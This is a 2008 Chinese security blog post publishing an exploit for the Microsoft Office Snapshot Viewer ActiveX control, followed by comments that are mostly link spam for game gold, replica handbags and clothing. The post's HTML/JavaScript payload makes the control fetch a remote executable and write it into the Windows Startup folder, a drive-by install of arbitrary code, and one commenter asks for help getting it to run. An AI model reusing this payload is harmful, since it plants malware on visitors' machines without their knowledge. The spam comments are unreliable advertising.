2008年7月8日星期二

[Exploit]Microsoft Office Snapshot Viewer ActiveX Exploit

by cloie
2008-07-08
http://www.ph4nt0m.org

今天有人发了个Snapshot Viewer的ADV,结合CERT那篇dranzer.pdf,重现漏洞

EXP:

<html>
<object classid='clsid:F0E42D50-368C-11D0-AD81-00A0C90DC8D9' id='obj'></object>
<script language='javascript'>
var buf1 = 'http://127.0.0.1/a.exe';
var buf2 = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/test.exe';
obj.SnapshotPath 
= buf1;
obj.CompressedPath 
= buf2;
obj.PrintSnapshot();
</script>
</html>



Fuzzing时一般是对单个Property和单个Method()做FUZZ,这时会检测到对SnapshotPath有HTTP GET。然后想想它总是需要保存到本地的,再测试其他Property。由于此ActiveX的Property和Method都非常少,很快可以 FUZZ完

16 条评论:

fullc0de@gmail.com 说...

Thank you for sharing.
i've tested the exploit code on test box. but, i've found something strange.

it's not equal between a file at buf1 and a file at buf2. i think the file at buf1 is downloaded to a path refered to buf2. however, a process of download was NOT actually completed.

so, downloaded executable file was not executed normaly.

do you know what's wrong? plz let me know..

luoluo 说...

Maybe your machine don't have this activex control.

wow gold 说...

wow goldwow gold wow gold Age of Conan gold cheap wow gold are all in gamelee.

wow gold 说...

ssqtworld of warcraft goldbuy wow goldcheap wow goldwow power levelingwow powerlevelingwow levelingworld of warcraft goldbuy wow goldcheap wow goldwow power levelingwow powerlevelingbuy wow goldcheap wow goldwow power levelingwow powerlevelingrunescape goldrunescape moneyEverQuest 2 goldeq2 platEverQuest 2 goldeq2 platMaple Story Mesosmaplestory MesosMaple Story mesomaplestory mesoFinal Fantasy XI gilffxi gilLOTRO GoldLOTR Goldlord of the ring goldAge of Conan gold age of conan power leveling aoc power leveling aoc leveling Granado Espada VisGranado Espada goldGE moneydofus kamaskamas dofusrunescape goldrunescape moneyflyff penyabuy flyff goldflyff moneyEverQuest platbuy eq goldEverQuest goldeq plateq goldaoc goldAge of Conan goldage of conan power levelingfinal fantasy xi gilffxi gildofus kamaskamas dofuseve online iskeve iskLOTRO GoldLOTR Goldlord of the ring goldsilkroad goldbuy silkroad goldAge of Conan gold aoc gold age of conan power leveling buy ffxi gil buy ffxi gil buy ffxi gil age conan gold age conan gold age conan gold wholesale china wholesale discount MP3 player MP4 player mp4 watches psp accessories wedding dresses wedding dress wholesale digital cameras wholesale clothing wholesale furniture

maple story mesosmaplestory mesosmaple story mesoffxi gilwow levelingwow power levelingwow powerlevelingwow goldwow power levelingwow powerlevelinghero online goldimvu creditskal geonknight goldlast chaos goldlineage adenalineage 2 adenalord of the rings goldlotro goldlotr goldmaple story mesosmaplestory mesosmaplestory mesoperfect world goldpirates of the burning Sea gold buy ffxi gil age conan gold

cheap wow gold 说...

If you are cheap wow gold trying any unknown cheats to earn gold, you would cheapest wow gold face some problem and your account will be black out. So don't try to wow gold find cheats instead try to world of warcraft gold sale follow the guideline of world of warcraft. These tips could Cheap Wow Goldwork as gold cheat and can help a lot to earn gold and money. World of Warcraft is the most exiting online game and while Playing the game most of the players struggle wow power leveling to earn a lot of gold.

Most of the players World Of Warcraft Goldtry search cheat code for this game to earn gold. This wow gold cheaparticle will help Wow Goldyou a lot to earn more and more gold.The best way to earn gold in this online game is by going through the guidelines wow gold for saleand other information about itemchannel.comthe game that are available on the internet .

huyuni 说...

Charlestoncheap columbia jackets. turned a pair of double plays to do the trick. spyder jacketsThe had at least one runner on in every inning but the first and outhit the RiverDogs by a 12-6 margin Lawal should be a focal point of the Yellow cheap polo shirts along with highly touted newcomer, 6-9 Derrick Favors, rated as the No. 1 power forward on the ESPNU 100. The Yellow Jackets

huyuni 说...

Cheap Brand Jeans ShopMen Jeans - True Religion Jeans, Women JeansGUCCI Jeans, Levi's Jeans, D&G Jeans, RED MONKEY Jeans, Cheap JeansArmani Jeans, Diesel Jeans, Ed hardy Jeans, Evisu Jeans, Jack&Jones Jeans...

dfous 说...

Bon marche de Dofus Kamas.achat de dofus.le prix moins cher.nous vendons dofus,or de Wakfu. 24/7 appui-en-ligne et livraison rapide.Wakfu Kamas
china: chinaserving

lixiang 说...

Articles are meaningful, and your blog is nice!
polo jacket
polo shirt
ralp lauren jacket
cheap polo shirts
spyder jackets
discount polo shirts
ralph lauren shirt
columbia jacket
north face jacket
cheap ralph lauren shirts
women's columbia jackets
polo t shirts
polo men's shirt
ralph lauren men's shirt
polo mens shirt
cheap polo jackets
ralph lauren mens shirt
wholesale polo jacket
ralp lauren polo shirts
short sleeve polo shirt
men polo shirt
lacoste polo shirts
wholesale polo shirts
men's polo shirts
cheap polo ralph lauren
cheap polo t-shirts
cheap polo clothes
custom polo shirts
discount north face jackets
ladies spyder jacket
tennis rackets
tennis racket
tennis racquet
tennis racquets
wilson tennis rackets
prince tennis rackets
head tennis rackets
babolat tennis rackets
best tennis racket
cheap tennis rackets
wilson tennis racquets
head tennis racquets
babolat tennis racquets
cheap tennis racket

qingchengzhilian 说...

Your blog is wonderful, I like it very much, thank you!
By the way, do you like polo shirts, which are very chic, especially the polo t shirts, I love them very much. I also like playing tennis rackets, it can keep healthy, what do you like to do?
We are the outlet of polo t shirts women, polo t shirts on sale, polo t shirts for women, polo shirts on sale, these products are best-seller in our store online.besides we also sell polo shirts men, men's polo shirt, men polo shirt, mens polo shirts, mens polo shirt and cheap polo shirts, discount polo shirts, men's polo shirts, women's polo shirts We are also the outlet of cheap tennis racket, discount tennis racket, and the main product is prince tennis racquet, head tennis rackets, wilson tennis racket, babolat tennis racquet.You are warmly welcomed to my store online!

virstock.com 说...

Dofus Kamas|Prix Moins Cher Dofus Kamas|Kamas par allopass|Dofus kamas audiotel|Dofus kamas par telephone sur Virstock.com

Meilleur prix dofus kamas stock de dofus kamas

Prix moins cher dofus kamas
vente dofus kamas sur www.virstock.com

Kamas par allopass sur dofus kamas

Dofus kamas par telephone sur dofus kamas

Dofus kamas audiotel sur dofus kamas

http://www.virstock.com/jsp/comments.jsp dofus kamas vente

http://www.virstock.com

King Bayern Munich 说...

This is a great article, supplies the useful information for me, thanks in this
soft sofa
Modern-stone-sculpture
billiards
Long span shelving
baby stroller
oil paintings
outdoor ceramic tiles
casual shoes
oil paintings

goldview 说...

Welcome to FinerReplica.com! We look forward to give you an insight of the very best quality replica handbags.We wholesale replica handbags, Cheap designer handbags,Coach, Burberry, Jimmy, Prada, LV, GUCCI Handbags, Juicy Handbags and so on. We are proud to advise you about the best online replica handbags shops in the world. Why shouldn't every woman have the right to shine while walking along the street with her Gucci, Louis Vuitton or Chanel? We believe that every woman deserves the right to look and feel fabulous, and we fulfill this belief by bringing you sites with the highest quality handbag replicas at a price that suits every budget.
If you are to buy cheap designer handbags at wholesale price, feel free to browse our designer replica handbags that are virtually indistinguishable from the authentic ones. Then,come to buy designer replica handbags now!

yeah shopping 说...

While the Louis Vuitton handbags line began to coat, great Balenciaga handbags patent raincoat and military inspection at the local Balenciaga handbags well-known for many Christian Dior handbags years led the dress, perfume Jimmy Choo handbags boxes, the current custom Miu Miu handbags handbags. Robert menchetti, who in 1999, the Italian Prada handbags custom over the shares in Hermes handbags market in the awesome progress. Victoria Beckham Miu Miu handbags style defined by the elite, in the direction of the British Goyard handbags royal family – from David Beckham Kate Winslet Prince William Fendi handbags– red carpet or not, Marc Jacobs handbags style arrival stood up, in your interpersonal circle.

lLike sports 说...

Ah good exciting content! Will always come to our attention. To bring you good news-works perfect! Nike Football Cleats best shoes 2011!! And Nike Mercurial Vapor Superfly.Nike soccer cleats with New nike soccer shoes or Nike mercurial soccer cleats .
Discount Wholesale nike mercurial vapor superfly iii fg and nike mercurial vapor sl limited edition fg,nike mercurial vapor superfly ii fg,nike ctr360 maestri ii elite fg,nike t90 laser elite fg,adidas f50 adizero fg or cheap nike mercurial vapor superfly iii and nike mercurial vapor sl,nike mercurial vapor superfly ii fg,nike ctr360 maestri ii elite fg,nike t90 laser,adidas f50 adizero fg,like Nike Mercurial Vapor Superfly Blackout,Nike Mercurial Vapor Superfly Blackout.

kellytang 说...

bridesmaids dress evening cocktail dresses evening gowns 2011 Evening Dresses flower girl dresses mother of dresses puffy wedding dresses bride dresses 2012 wedding gowns 2011 wedding gowns aline wedding gowns bridal ball gowns wedding dresses for beach column wedding dresses empire wedding dresses mermaid wedding gowns wedding dresses for plus size tea length wedding dresses cocktail dresses 2011 wedding dresses 2011 quinceanera dresses white cocktail dresses colored wedding dresses older bride wedding dresses cheap cocktail dress